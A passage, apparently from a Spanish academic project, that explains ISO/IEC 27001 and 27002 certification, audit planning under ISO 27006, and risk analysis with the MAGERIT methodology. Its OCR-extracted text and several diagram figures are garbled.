el proceso de auditoria interna es correcto y serd capaz de detectar estas desviaciones la
proporciona el proceso de certificacion.

7.6.- Reconocimiento de la certificacion
En este momento hemos de plantearnos dos preguntas:

1.- ¢(Qué tipo de autoridad tiene una entidad para poder determinar que el SGSI de una
organizacion es conforme a una norma?.

2.- ¢Hasta que punto el mercado puede confiar en el trabajo de esa entidad?.

De manera general, una entidad de certificacion es una institucion legal que, a partir de una
auditoria de tercera parte, certifica que el auditado realiza una actividad con arreglo a un marco
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de referencia. La capacidad para poder certificar esto se basa en: el profesionalismo de los
auditores, la independencia entre el auditor y el auditado, el uso de procedimientos estandarizados
y auditados por una entidad superior. En el médulo anterior, ya se ha aludido a la existencia de
las entidades de acreditacion, que son las encargadas de garantizar la calidad del trabajo de las
entidades de certificacion.

Cabe destacar en este momento la aparicion de la figura Entidad de Acreditacion y
distinguirlo de la Entidad de Certificacion.

Las entidades de acreditacion son las encargadas de controlar, periédicamente, que las entidades
de certificacion realizan sus tareas de acuerdo con las hormas que rijan su actividad. Ademas, las
entidades de acreditacion son la autoridad al respecto dentro de un area de aplicacion.

La labor de acreditacion en Espafa recae en la ENAC (Entidad Nacional de Acreditacion) una
institucion autdnoma tutelada por el Estado y designada para mantener el sistema de acreditacion
nacional de acuerdo con las normas internacionales y las directrices de la Union Europea. Por lo
tanto, su reconocimiento interno en el mercado espafiol esta avalado por el Estado.

Tras un proceso de evaluacion del que no vamos a entrar en este proyecto, indicar que al igual
que va a ocurrir con el proceso de certificacion, las acreditaciones concedidas son vigiladas
mediante evaluaciones periddicas, para comprobar que las entidades acreditadas continGan
cumpliendo los requisitos de acreditacion. Si en algin momento se constata que la entidad
incumple algunas de las obligaciones de la acreditacion, se puede llegar a suspender
temporalmente o retirar la acreditacion. Esto se hard hasta que se demuestre de nuevo el
cumplimiento de los requisitos de acreditacion.

Ultima actualizacion 2017: actualizacion de la 1SO/IEC 27003:2017, y actualizacion de la UNE-
EN ISO/IEC 27001:2017 y UNE-EN ISO/IEC 27002-2017.

7.7.- Estructura del estandar ISO/IEC 27001

Actualmente, el ISO/IEC 27001 es el Unico estdndar aceptado internacionalmente para la gestion
de la seguridad de la informacion, y puede aplicarse en todo tipo de organizaciones, sea cual sea
su tamarfio o actividad. Cabe notar, sin embargo, que a pesar de ser un estandar sobre seguridad
de la informacién y estar muy ligado a los sistemas de informacion, no es un estandar sobre
aspectos tecnoldgicos sino organizativos, muchos de ellos relacionados con la gestion de las TIC,
aunque no Unicamente. También se encuentran tratados aspectos relativos a la estructura
organizativa, la continuidad de negocio y la conformidad legal. Es por tanto un estandar que
aborda la seguridad desde un punto de vista holistico (holismo: doctrina que propugna la
concepcion de cada realidad como un todo distinto de la suma de las partes que lo componen),
combinando todos los aspectos que tienen una influencia clara sobre ella.

Entendiendo que el SGSI planteado por la norma esta basado en unos principios:
* Apoyo de la direccion.
* Adaptabilidad del SGSI a la situacion de la organizacion.

» Aproximacion a la gestion basada en procesos de mejora continuada y el anlisis de riesgos y
oportunidades.

Siete capitulos principales que todo SGSI debe cumplir son:

- Contexto de la organizacion.
- Liderazgo.

- Planificacion.

- Soporte.

- Operacion.

- Evaluacién del desempefio.
- Mejora.
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Un esquema resumen de lo indicado hasta ahora queda recogido en el siguiente esquema.

No

dela

Comprension Acciones para Recursos Control y Seguimiento,
dela Liderazgo y gestionar planificacion medida, conformidades
organizaciony compromiso riesgos y de las Analisis y y acciones
su contexto oportunidades Competencia operaciones evaluacion correctivas
Objetivos de la Concienciacién Analisis y
Expectativas seguridad de la tratamientos Auditoria Mejora
de las partes Politica informacidn y de riesgos de la i .
. ) interna continua
interesadas planes para e seguridad de la
alcanzarlos informacion
Roles, Estructura
Alcance del 595p°;'52fg"fa documental Revisién por la
autoridades ,
SGSI v direccién

organizacion

Fig.104: Alineamiento entre el modelo PDCA y los requerimientos unificados por ISO para todos
los sistemas de gestion.

Lo que se quiere expresar es que el SGSI debe cumplir con las necesidades de la organizacién y
el entorno en el que se mueve, y debe producir unos resultados que cumplan con estos
requerimientos. Los resultados, obtenidos mediante la ejecucién del ciclo PDCA o cualquier otro
modelo de gestion, y requiere la implantacion, operacién y medicion de unos controles de
seguridad, los cuales deben gestionar los riesgos identificados por un analisis de riesgos. El
andlisis de riesgos constituye una de las piedras angulares del sistemay, por lo tanto, es una parte
obligatoria. Todas las decisiones deben estar basadas en este analisis.

Por lo tanto, podemos concluir que la gestion de la seguridad, ya sea segun el clasico modelo
PDCA o cualquier otro, constituye uno de los requerimientos generales del estandar. La
implementacion de un proceso que no realizara alguna de las fases o que, de algin modo, no se
pudiera relacionar con el modelo, constituiria una no conformidad grave que impediria la
certificacion del sistema de gestion.

7.7.1.- Proceso de certificacion de SGSI contra la 1SO 27001

Es importante que quede claro que el certificador no pretendera decir si una organizacién es mas
0 menos segura. Lo que pretende es verificar que la organizacion realiza una gestion de la
seguridad de la informacion y que posee las herramientas adecuadas para realizar esta gestion de
forma correcta. En definitiva, el certificador verifica el SGSI.

El objetivo de estos procesos de certificacion es verificar la correcta implantacion de la Norma
ISO/IEC 27001, la cual hace referencia a la gestion de la seguridad de la informacion.

Los SGSI implantados por cada organizacién no tienen que ser necesariamente iguales. Las
caracteristicas de cada SGSI dependeran de las particularidades de cada organizacion. La ISO/IEC
27001 no obliga a tener una determinada configuracion de los aspectos de seguridad. La norma
solo indica los requerimientos del sistema de gestion y, a partir de estos requerimientos, cada
organizacion determinara como tiene que implantar su sistema de gestion.

Durante el proceso de certificacion, el auditor tratard de verificar que la organizacion ha
implantado el SGSI siguiendo un modelo de mejora continua, de acuerdo con los requerimientos
del estandar. Es importante destacar que el proceso de auditoria no examina el nivel de seguridad
de una organizacion, sino que trata solo de verificar que su gestion de la seguridad es acorde al
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estandar. Por tanto, el auditor no pretende encontrar incumplimientos en medidas concretas de
seguridad, sino garantizar y verificar que la organizacion:

« Tiene un sistema que permite realizar la gestion de la seguridad de la informacion.

« Posee las herramientas adecuadas para implementar este sistema de forma correcta.

» Esta capacitada para mejorar este sistema con el paso del tiempo.

El auditor podria dictaminar si un determinado aspecto de la seguridad de una organizacion es
correcto o incorrecto. Sin embargo, lo que verificara realmente es que se han dispuesto las
medidas necesarias para cumplir con el modelo de gestion de mejora continua definido por el
estandar.

Existen tres maneras de mejorar el SGSI, partiendo de:
1) Apreciacion periddica del riesgo.

2) Evidencias de funcionamiento del SGSI.

3) Resultados de la auditoria interna.

Durante el proceso de auditoria, se tratara de verificar que existe un proceso de revision por parte
de la direccion basado en esos puntos de informacidn, que son conocidos por la organizacion y
que se utilizan para la realizacion de los cambios en la seguridad.

7.8.- ISO/IEC 27002: Codigo de buenas practicas para la gestion de la seguridad de
la informacion.

Esta norma es una base comdn para desarrollar:

« Normas de seguridad organizativas.

* Précticas efectivas de gestion de la seguridad.

* La confianza en las relaciones con terceras organizaciones.

Un aspecto importante es que siempre debe aplicarse de conformidad con la legislacion y
reglamentos aplicables.

La norma se utiliza en diferentes organizaciones para cubrir cualquiera de los siguientes
objetivos principales:

+ Formular los requerimientos y objetivos de seguridad de la informacion.
+ Asegurar que los riesgos de seguridad se gestionan de forma efectiva en términos de costes.
+ Asegurar el cumplimiento de leyes y regulaciones.

+ Implementar y gestionar los controles necesarios para asegurar que los objetivos de
seguridad definidos por la organizacion se alcanzan.

+ Definir nuevos procesos de gestion de la seguridad, o identificar y clarificar los procesos
existentes.

« Conocer el estado de las actividades de gestion de la seguridad por parte de la Direccion.

+ Conocer el grado de cumplimiento de politicas, directivas y estandares adoptados por la
organizacion, por parte de auditores internos o externos.
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« Establecer politicas, directivas, estdndares o procedimientos de seguridad de la informacion

en las relaciones con terceros.

+ Convertir la seguridad de la informacion en un facilitador del negocio.

5. Politicas de seguridad de la
informacion
(1 objetivo, 2 controles)

6. Organizacion de seguridad
de la informacion
(2 objetivos, 7 controles)

7. Seguridad relativa a los
recursos humanos
(3 objetivos, 6 controles)

8. Gestion de activos
(3 objetivos, 10 controles)

9. Control de acceso
(4 objetivos, 14 controles)

10. Criptografia
(1 objetivo, 2 controles)

11. Seguridad fisica y del
entorno
(2 objetivos, 15 controles)

12. Seguridad de las
operaciones
(7 objetivo, 14 controles)

13. Seguridad de las
comunicaciones
(2 objetivos, 7 controles)

14. Adquisicion, desarrollo y
mantenimiento de los
sistemas de infermacién
(3 objetivo, 13 controles)

15. Relaciones con
proveedores

(2 objetivos, 5 controles)

16. Gestion de incidentes de
seguridad de la informacién
(1 objetivo, 7 controles)

17. Aspectos de seguridad de |a informacién
para la gestion de |a continuidad del negocio
(2 objetivos, 4 controles)

18. Cumplimiento
(2 objetivos, 8 controles)

Fig.105: Dominios de seguridad de la ISO 27002, especificando para cada dominio el nimero de
controles que lo componen, y el nimero de objetivos de control totales por dominio.

Cumplimiento (8)
Seguridad fisica y Seguridad de las
del entorno (15 comunicaciones (7)

[ Adquisicién, desarrollo y mantenimiento del sistema (13) ‘

‘ Control de acceso (14) ‘ ‘ Criptografia (2) | | Seg:ui?a: ':E[ l!a!s} |
Gestién de incidentes de Aspectos dela S.delal. delagestion | | .. .
‘seguridad de la informacién (7) de continuidad del negocio (4) MU AR AR 0)
Paliticas de seguridad de la Organizacion de la seguridad Seguridad de los recursos Relacion con los
informacién (2) “de la informacidn (7) ~ humanos (6) proveedores (5)

B Seguridad Organizacional
[ seguridad Técnica
[ seguridad normativa

Fig.106: Estructura de controles de la norma ISO/IEC 27002

La ISO/IEC 27002:2013 presenta 14 dominios, 35 objetivos de seguridad y 114 controles
ademas de, como ya se ha comentado, los apartados previos introductorios.

Interpretacion de la informacion de cada dominio:

Cada uno de los dominios de la ISO, tal y como hemos comentado, contiene:
« Un minimo de un objetivo de control a alcanzar.
« Uno o més controles que pueden ser implantados para alcanzar dicho objetivo.

La descripcion de cada uno de los controles se estructura en tres partes:

« Control: definicién del control especifico.

+ Guia de implantacion: proporciona informacion detallada para la implantacién del control.
Se trata sélo de una guia y por tanto, no siempre serd de aplicacion en su totalidad; es
responsabilidad de la organizacién analizar cuél es la mejor manera de implantar el control.

+ Informacién adicional: proporciona informacién que puede ser necesario tener en
consideracion, como por ejemplo consideraciones legales, referencias a otros estandares.
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7.9.- Dominios de la ISO

A continuacion se enumeran los 14 dominios de seguridad con una breve mencion de los objetivos
de control de cada uno de ellos.

Importante destacar que la implantacion de algunos dominios requiere de la realizacion de
informacion documentada.

1.- Politicas de seguridad de la informacion: todo personal implicado en el alcance del SGSI debe
cumplir con las politicas de seguridad de la informacion definidas por la organizacion, y deben
tener una revision periodica.

2.- Organizacion de la seguridad de la informacion: por ejemplo, también se encuentran en ese
apartado los controles relativos a los dispositivos moviles y el teletrabajo.

3.- Seguridad relativa a los recursos humanos: sobre todo entrada y salida de personal a la
empresa. Derechos del trabajador. Referencias antecedentes y similares.

4.- Gestion de archivos: imprescindible conocer los activos criticos a proteger (informacion,
software, hardware, servicios, personas, etc.)

5.- Control de acceso: de los méas importantes. A desarrollar durante este proyecto.

6.- Criptografia: se hace necesario establecer una politica de controles criptogréficos, respecto de
los diferentes medios activos de la empresa como discos duros de portétiles, conexiones remotas,
etc.

7.- Seguridad fisica y del entorno: por ejemplo de corte del suministro eléctrico y su continuidad.

8.- Seguridad de las operaciones: la separacion de entornos de desarrollo, prueba y produccion,
gestion de cambios y capacidad para evitar incidentes. Seguridad de realizacion de copias de
seguridad y su reposicion.

9.- Seguridad de las comunicaciones: respecto que hoy en dia es impensable una empresa sin
conexion a Internet. Definicion de seguridad en servicios de red. Control de externalizacion
(acuerdos de intercambio, de confidencialidad).

10.- Adquisicion, desarrollo y mantenimiento de los sistemas de informacién: implantar controles
necesarios para:

- Garantizar la ausencia de errores de proceso, pérdida de informacion, modificacion no
autorizada, mal uso de la informacion y respecto de las aplicaciones.

- Garantizar la confidencialidad e integridad de la informacion, asi como la autenticidad y
no refutacion de acciones realizadas sobre la informacion.

- Proteger el software y cddigo desarrollado.

- Garantizar las mejores practicas en el desarrollo de codigo seguro.

- Generar registros y trazas de actividad.

- Establecer las medidas necesarias para garantizar la seguridad de la informacién en
entornos no productivos.

- Establecer procedimientos que garanticen que cambios en el hardware/software no
comprometan la seguridad de la informacion.

11.- Relaciones con proveedores: que cumpla la normativa de seguridad de la empresa.

12.- Gestién de incidentes de seguridad de la informacién: comunicacion eficiente y respecto de
escalado de incidencias.

13.- Aspectos de seguridad de la informacién para la gestion de la continuidad del negocio:
garantizar el restablecimiento del funcionamiento normal en unos plazos aceptables desde el
punto de vista del negocio después de una situacion de desastre. Pérdida de disponibilidad.
Tiempo de recuperacion aceptable.
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14.- Cumplimiento: tomar las medidas necesarias para garantizar el cumplimiento de cualquier
obligacion legal, estatutaria, regulatoria o contractual. Es indispensable saber la legislacion
aplicable a cada caso y hacer difusion dentro de la organizacion.

7.10.- Planificacion y dimensionamiento de la auditoria

En el proceso de planificacion y dimensionamiento de la auditoria, se determinan el nimero de
dias que se dedicaran, y el nUmero y tipo de recursos gue compondran el equipo de auditoria. Esto
es determinante tanto para el éxito de la asignacion de auditoria como para el éxito econémico de
la entidad de certificacion. No hay que olvidar que, en la gran mayoria de los paises
industrializados de nuestro entorno (Europa, América Latina), existe competencia entre las
diferentes entidades de certificacidn, aungue sean entidades sin &nimo de lucro en algunos casos.
Todas ellas deben de financiarse, en par te, con los recursos que la actividad de auditoria genera.
Por lo tanto, ajustar tanto como sea posible los costes de la auditoria va en relacion directa con el
dimensionamiento de la misma.

La norma ISO/IEC 27006, que rige el proceso de auditoria de certificacion de los SGSI, no da
requerimientos estrictos a este respecto. Su propuesta se basa en determinar inicialmente la
complejidad de la organizacion a auditar en base a unos cuantos criterios:

Complejidad Alta Media Baja

NUmero de empleados | > 1.000 >200 <200

y personal externo

desarrollando labores

internas

NUmero de usuarios | > 1.000.000 >200.000 < 200.000

clientes

NUmero de | >5 >2 1

localizaciones

NUmero de sistemas | > 100 >10 <10

de informacion

(servidores)

Tamafio del parque de

microinformatica > 300 > 50 <50

(PCs o portétiles)

NUmero de personas

dedicadas al

desarrollo 01]>100 >20 <20

integracion de

aplicaciones

Uso de la criptografia | Conexiones externas de | Conexiones externas de | No tiene conexiones de
datos cifradas, con uso | datos no cifradas, sin | datos externas.
de PKI, o con|uso de PKI, y sin
requerimientos requerimientos
criptograficos. criptogréaficos.

Especificidad del | Incumplimientos Incumplimientos Incumplimientos

marco legal que le | pueden llevar a cargos | pueden provocar | conllevan pérdidas

aplique judiciales. sanciones, o pérdida de | insignificantes.

imagen.

Tabla 8: Esquema resumen de complejidad vs. capacidad en criterio por noma ISO 27006.
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Respecto a la capacitacion del equipo auditor, si la complejidad es alta, se aconseja que el equipo
auditor disponga de un conocimiento avanzado del sector en que se mueve el auditado. En cambio,
si la complejidad es media o baja, bastaria con un nivel de conocimiento adecuado.

7.11.- Relaciones de la auditoria

Una vez el solicitante aprueba el plan de auditoria, se concretan las fechas exactas para la visita
del equipo auditor a las instalaciones de la organizacion.

En estas revisiones, el equipo auditor debera centrarse en los siguientes aspectos:
« El andlisis de riesgos.

« La declaracién de aplicabilidad.

« Los objetivos que persigue la organizacion.

» COmo se monitoriza, mide, informa y mejora.

« Las revisiones del SGSI y de la seguridad.

« El grado de implicacion de la direccidn.

» La coherencia entre politicas, andlisis de riesgos, objetivos, responsabilidades, normas,
procedimientos, datos de rendimiento y revisiones de seguridad.

PROCESO GENERAL DE AUDITORIA

Inicio de la PREPARACION DE LA AUDITORIA
Auditoria

Planificacion de
la Auditoria

] -

. EJECUCION DE LA AUDITORIA
Recogida de la

informacion

!

Ejecucion de pruebas
* Pruebas técnicas
* \Visitas <
* Entrevistas
« Revisién

Analisis de la
documentacion

|

Elaboracidn del
informe

|

Presentacion del
informe

POST AUDITORIA Seguimiento de
la auditoria

Fig.107: Procedimiento de la auditoria.
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Reunidn de lanzamiento e v
inicio del servicio s

Mapa de red e Identificacién
de activos —

Andlisis inicial de riesgos *

Auditoria interna e

Auditoria externa [ |
Auditorias especificas

Elaboracion de informes

Presentacion resultados " —5’

Fase: Establecimiento del programa de seguimiento, evaluacion y mejora [S2 Grupo].

7.12.- Concesién de la certificacion

La decision final de conceder o no la certificacién no la toma el auditor jefe, sino el comité de
certificacion. Este estd formado por miembros de la organizacion auditora que no formen parte
del equipo auditor. La decision final se basara en la informacion recogida durante el proceso de
auditoria.

En caso de que la recomendacion realizada por el equipo de auditoria sea un no, el comité de
certificacion no deberd cambiar el criterio. En el caso contrario, si la recomendacién es un si, el
comité de certificacion puede cambiar esta decision y no entregar el certificado.

En caso de que se emita el certificado, la entidad remitird al solicitante una carta o diploma
indicando como minimo:

* Nombre y direccidn de la organizacion.

+ El alcance de la certificacion.

+ La fecha de emision del certificado y su periodo de validez.
+ Laversion de la declaracion de aplicabilidad.

Una vez se ha obtenido la certificacion, se procedera a entregar el certificado y se entrard en un
ciclo de revision de la certificacion. Este ciclo consiste en la realizacion de una auditoria parcial
de forma anual. La certificacion estard vigente durante, habitualmente, tres afios.

En caso de que, durante una de las revisiones, el auditor detecte que existen grandes problemas
de seguridad o no conformidades, podria llegarse a retirar el certificado.
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8.- ANALISIS DE RIESGOS. Balance de politicas a coste econémico.

En la seguridad de la informacién hemos de tener en cuenta que es un proceso Vivo, en constante
actualizacion y renovacion. El siguiente grafico muestra cual es el ciclo correcto de la seguridad
de la informacion:

Analisis y gestionde | | Dictar objetivos y politica
riesgos ) de seguridad

!

Establecer planificacién
de seguridad

|

Implantar salvaguardas

|

Monitorizacion y gestion
de cambios en la
seguridad

Y

Fig.108: Ciclo de vida de la seguridad.

[L estudio de los riesgos J revision periodica

se acepta
1] punto de decision P
monitorizacién continua

se estudia mejor

se trata

estudio coste / beneficio |

OPCIONES:
* se evita
* se mitiga:
+ se reduce la probabilidad
+ se acota el impacto
= se comparte
|

Fig.109: Decisiones de tratamiento de los riesgos.
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p| e [frelevantefrelevantéiirelevante Bajo | B - .

IMPACTO | Irrelevanie Menar Moderado Severn -

Fig.110: Matriz de valoracion de riesgos.
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£
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Fig.111: Valores de Niveles de Riesgo vs. aceptabilidad [27].

Antes que nada, observando la grafica anterior y como posible resultado, cabria tratar uno de los
posibles resultados y con vistas con anteceder a los resultados, tener un conocimiento del referente
que nos encontramos Y respecto a establecer un Nivel de Riesgo aceptable, en el que se adecuara
con ladireccion que éstos han de firmar la aceptacion explicita de los riesgos residuales solamente
cuando el resultado del cruce entre probabilidad e Impacto/Pérdidas sea "Alto".

Un cuadro de valores mas preciso podria ser el siguiente:

Escalas
Impacto Frecuencia Riesgo
MA: muy alto MA: practicamente seguro | MA: critico
A alto A: probable A importante
M: medio M: posible M: apreciable
B: bajo B: poco probable B: bajo
MB: muy bajo MB: muy raro MB: despreciable
RIESGO PROBABILIDAD
MB
(0.002)
MA (10) A
A (7-9) M
g M@46) | B M M A A
< [ B(2-3) MB B B M M
=
— | MB() MB MB MB B B

Fig.112: Valores de Niveles de Riesgo.
Con esto, procedemos a establecer los siguientes procedimientos por fases del analisis de riesgos.

La primera fase y mas importante de las fases corresponde al andlisis de riesgos, en la que
deberemos descubrir qué necesidades de seguridad requiere la organizacion tras detectar cuales
son los agujeros en seguridad asi como las amenazas a las que esta expuesta. Esta primera fase
debe estar relacionada con los objetivos de la organizacion. Nunca una medida de seguridad
debera constituir un obstaculo para la realizacion de las actividades propias de la organizacion.

También dentro de esta primera fase debera incluir la gestion de riesgos, consistente en saber
elegir la mejor solucion de seguridad para afrontar los riesgos a los que estd expuesta la
organizacion y que a su vez permita cumplir los objetivos de esta.

A esta primera fase le sigue la fase de planificacion de la seguridad, en la que sobre todo, se
priorizarén las diferentes medidas de seguridad adoptadas. Siempre se debe tratar de minimizar
en primer lugar los mayores riesgos y en segundo lugar el resto. Nunca al reveés.
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A esta segunda fase le sigue la monitorizacion partiendo de que no podemos detenernos ni
conformarnos con la implantacion de las medidas de seguridad, no podemos detenernos ahi y
pensar que sin hacer nada mas, estaremos seguros durante un tiempo ilimitado.

Entrando més en detalle, un andlisis de riesgos corresponde, desde el punto de vista de la
seguridad, al proceso de identificacion de éstos, determinando su magnitud e identificando las
areas que requieren medidas de proteccion.

Destacar que un proceso de analisis de riesgos da como resultado una informaciéon y no una
medida de seguridad como tal; es decir, el proceso en si no va a evitar que la organizacion sufra
incidentes de seguridad, sino que permitira identificar los peligros a los que aquélla se encuentra
expuesta. Eso quiere decir que, si tenemos perfectamente identificados los peligros, le serd méas
facil a la organizacion protegerse de aquellas situaciones que representan un mayor riesgo.

8.1.- Proceso de analisis de riesgos

Actualmente existen diferentes metodologias validas para realizar un analisis de riesgos. Pero
todos trabajan y tienen los tienen los siguientes elementos en comun:

« Activos: elementos que deben protegerse.
« Amenazas: situaciones de las que deben protegerse los activos.
« Vulnerabilidades: aspectos que facilitan la materializacion de las amenazas.

Siguiendo con los procesos, como se ha indicado, del analisis pasamos a la gestion de riesgos, en
esta se decide que medidas de proteccion debemos implantar para evitar que los riesgos detectados
lleguen a afectar a la organizacién y todo con el menor nimero posible de recursos.

Este proceso de gestion de riesgos ha de equilibrar el coste de proteccion y el coste de exposicion
de la organizacion. Entendiendo por:

» Coste de proteccion: coste que supone a la organizacion protegerse de una situacion detectada
previamente.

« Coste de exposicion: coste gque representaria que la situacion analizada llegara a darse y la
organizacion careciese de proteccion.

El punto a alcanzar es al de encontrar el coste de equilibrio; es decir, no se debe gastar méas de lo
gue representaria recuperarse de la situacion analizada. No gastar méas de lo que es recuperarse.

Riesgos Seguridad

Coste Coste de equilibrio

_
Nivel de seguridad

Fig.113: Equilibrio coste de proteccion vs. coste de exposicion.
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Fig.114: Relacion entre el gasto en seguridad y el riesgo residual.

8.2.- Justificacion y estudio del analisis de riesgos. Justificacion y estudio.

Los motivos por los que se debe realizar un analisis de riesgos son los siguientes:

+ Poder identificar los diferentes riesgos a los que se encuentra expuesta la organizacion desde
el punto de vista de la seguridad y que podrian afectar al desarrollo de las diferentes
actividades de negocio de la organizacion.

« Poder realizar una seleccion de medidas de seguridad que se deben implantar en ella, mucho
mas ajustada a las necesidades de la misma.

« Servir como base para la elaboracion de contingencias. Esto quiere decir que un andlisis de
riesgo nos va a presentar las situaciones que pueden provocar un incidente de seguridad y
que, a su vez, no pueden ser reducidos a través de la implantacion de las medidas de
seguridad.

« Como punto de partida de todo proceso de certificacion y respecto de las organizaciones que
tengan previsto implantar las diferentes normativas de seguridad (ISO 27001) y crear un
sistema de gestion de la seguridad de la informacién (SGSI), con la intencion de conseguir
certificarlo, deberan poseer un andlisis de riesgos.

El sistema de gestion de la seguridad de la informacién corresponde al proceso de implantacion
de una serie de medidas indicadas en las normativas y buenas précticas de seguridad de la
informacion.

8.3.- Tipos de analisis

Dependiendo de los objetivos a conseguir y del enfoque que se tenga a la hora de realizar un
andlisis de riesgo, se pueden realizar dos tipos diferentes de procesos de analisis de riesgos:
« Analisis de riesgos intrinseco: Es el estudio que se realiza sin tener en consideracion las
diferentes medidas de seguridad que ya estan implantadas en una organizacion. Este proceso
da como resultado un riesgo intrinseco.

« Analisis de riesgos residual: Es el estudio que se realiza teniendo en consideracion las
medidas de seguridad que la organizacion ya tiene implantadas. Como resultado de este
proceso se obtiene un riesgo real.
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La decision de realizar un analisis de riesgos intrinseco o residual depende de si una organizacién
pretende analizar si la inversion que ha realizado en seguridad ha sido la correcta o si, por el
contrario, lo que pretende es estudiar la situacion real en la que se encuentra. Lo mas habitual es
realizar el analisis de riesgos residual, puesto que, si una organizacion ya posee unas medidas de
seguridad implantadas y pretende mejorar su seguridad, debera contemplar estas soluciones
teniendo en cuenta la situacion actual en la que se encuentra, ya que, aunque la inversion no haya
sido la correcta, no podra recuperarla.

8.4.- Elementos del andlisis

Los elementos a considerar en los procesos de analisis de riesgos seran los siguientes:

+ Activos: son todos aquellos elementos que posee la organizacion y que seran analizados
durante el proceso. Cabe destacar que por activo se entiende todo tipo de elemento que
requiere la organizacion para poder realizar las actividades de negocio que le son propias.

+ Amenazas: son todas aquellas situaciones que podrian Ilegar a suceder en una organizacion
y que podrian dafiar a los activos, provocando que éstos no funcionen correctamente o que
no puedan utilizarse del modo correcto para poder llevar a cabo la actividad de negocio de
la organizacion.

+ Vulnerabilidades: son las diferentes debilidades que presentan los activos anteriormente
identificados y que son aprovechados por las amenazas para provocar un dafio.

« Impactos: son las consecuencias que se producen en la organizacidn cuando una amenaza
aprovecha una vulnerabilidad para dafiar a un activo.

Dentro de todo proceso de analisis y gestidn de riesgos se crean una serie de relaciones:

Amenazas ——  ( Vulnerabilidades
Aprovechan

Protegen de Protegen de
Aumentan Exponen

_— Activos
Disminuyen
Marcan | ¢ . Aumenta .
Imponen mpactan si se Tienen
materializan

Valor de
los activos

Requerimientos
de seguridad

Fig.115: Relaciones entre la seguridad de la informacién y su minimizacion a exponer.
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Fig.116: Elementos de Andlisis de Riesgos [28].

Tener en cuenta que los activos y respecto poseer un valor y son los que se exponen a las
amenazas. Las amenazas aprovechan las vulnerabilidades para dafar los activos; de hecho, si no
existen vulnerabilidades, las amenazas no podran dafiar a una organizacion.

8.5.- Metodologias

En la actualidad, existen diversas metodologias en el mercado. Todas ellas ofrecen resultados
similares si se aplican de una forma correcta a las mismas organizaciones. Las diferencias entre
unas y otras radican en la forma en la que presentan los resultados.

8.5.1.- MAGERIT

Esta metodologia fue elaborada por el MAP (Ministerio de Administraciones Publicas) con el fin
de ayudar a todas las administraciones publicas del Estado espafiol a mejorar diversos aspectos.
Con posterioridad ha sido aplicable a cualquier organizacion
(https://administracionelectronica.gob.es/ctt/magerit). Desde fecha de 2012 hasta la actual 2019,
se encuentra en la version 3 [29].

Esta metodologia puede ser aplicada a cualquier organizacion, independientemente de que se
encuentre en el Estado espafiol o en otro pais. Al mismo tiempo, esta metodologia ha desarrollado
una herramienta que ayuda a su aplicacion.

Esta metodologia tiene como caracteristica fundamental que los riesgos que se plantean para una
organizacion se expresan en valores econdémicos directamente, lo que una ventaja y un
inconveniente:
« EI aspecto positivo de esta metodologia es que el resultado se expresa en valores
econdmicos. Esto hace que las decisiones que deban tomarse y que tengan que ser validadas
por la direccion estaran fundamentadas y seran facilmente defendibles.

« Por el contrario, el hecho de tener que traducir de forma directa todas las valoraciones en
valores econdémicos hace que la aplicacion de esta metodologia sea realmente costosa.

MAGERIT implementa el Proceso de Gestion de Riesgos dentro de un marco de trabajo para que
los 6rganos de gobierno tomen decisiones teniendo en cuenta los riesgos derivados del uso de
tecnologias de la informacion.
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Fig.117: Marco de trabajo seguido por MAGERIT. 1SO 31000.
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Fig. 118: Guia de procedimiento hacia certificacion.

8.5.2.- Fases de MAGERIT

Siguiendo un proceso de conceptos paso a paso, el analisis de riesgos es una aproximacion
metodica para determinar el riesgo siguiendo unos pasos pautados:

1.- Determinar los activos relevantes para la Organizacion, su interrelacion y su valor, en el
sentido de qué perjuicio (coste) supondria su degradacién

2.- Determinar a qué amenazas estan expuestos aquellos activos
3.- Determinar qué salvaguardas hay dispuestas y cuan eficaces son frente al riesgo

4.- Estimar el impacto, definido como el dafio sobre el activo derivado de la materializacion de la
amenaza

5.- Estimar el riesgo, definido como el impacto ponderado con la tasa de ocurrencia (o expectativa
de materializacion) de la amenaza.
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Fig.119: Elementos de analisis de riesgos potenciales.

A continuacién esquema considerando el factor de riesgo residual como principal punto clave de
medida.

estdn expuestos a T
Activos

interesan por su

causan una cierta ﬁe_gradacién
residual
//In:|;acto
ual

resid

Probabilidad
residual

con una cierta

Riesgo ™\

tipo de activo

dimension
Salvaguardas
amenaza

nivel de riesgo

Fig. 120: Elementos de analisis del riesgo residual.

Riesgo Residual: estudio que se realiza teniendo en consideracion las medidas de seguridad que
la organizacion ya tiene implantadas.

Teniendo en cuenta y no olvidando que el objetivo de toda seguridad es siempre garantizar que
los procesos propios de la organizacion puedan realizarse de la mejor manera posible. MAGERIT
sigue un proceso hasta llegar a la elaboracion e identificacion de todos los riesgos de una
organizacion. Las fases son las siguientes:
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Fig. 121: Fases de MAGERIT.
Una clasificacion por tareas segun [33] es:
Tareas del Método de Andlisis de Riesgos:
1.-Caracterizacion de los activos.
1.1.- Identificacion de los activos.
1.2.- Dependencias entre activos.
1.3.- Valoracion de los activos.
2.- Caracterizacion de las amenazas.
2.1.- Identificacion de las amenazas.
2.2.- Valoracion de las amenazas.
3.- Caracterizacion de las salvaguardas.
3.1.- Identificacion de las salvaguardas pertinentes.
3.2.- Valoracién de las salvaguardas.
4.- Estimacion del estado del riesgo.
4.1.- Estimacion del impacto.

4.2.- Estimacién del riesgo.

8.5.2.1.- Toma de datos y procesos de informacion

En esta primera fase —la mas importante de toda la metodologia—, se define el alcance que se ha
de estudiar o analizar, ya que, dependiendo de éste, sera mas 0 menos costoso el proceso. A mayor
alcance, mayor es el nimero de riesgos analizables.

Tendremos en cuenta que existen amenazas gque no van a provocar interferencias en las
actividades de la organizacion y que no han de ser analizadas, puesto que protegerse contra ellas
no tiene sentido, ya que no le afectaran nunca.

Un factor importante a tener en cuenta en esta primera fase es el siguiente: la granularidad.

La granularidad tiene que ver con la definicidn de las unidades que se pretende analizar. Quiere
decir que se ha de determinar el nivel de detalle al que se quiere llegar. Cuanto més detalle (bajo
nivel), méas elementos tendran que analizarse y mas costoso sera el andlisis de riesgos.
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8.5.2.2.- Establecimiento de parametros

La segunda fase es la mas importante en la metodologia MAGERIT. Consiste en el
establecimiento de pardmetros que se utilizaran durante todo el proceso de analisis de riesgos.

Los pardmetros que deben identificarse son los siguientes:
+ Valor de los activos

+ Vulnerabilidad
+ Impacto
« Efectividad del control de seguridad

Veamoslos en detalle:

« Valor de los activos: este parametro tiene el objeto de asignar una valoracién econémica a todos
los activos de una organizacion que se pretenden analizar. Cuando se trata de asignar valoraciones
econdmicas a los activos, no s6lo hay que tener presente su valor de compra, sino también su
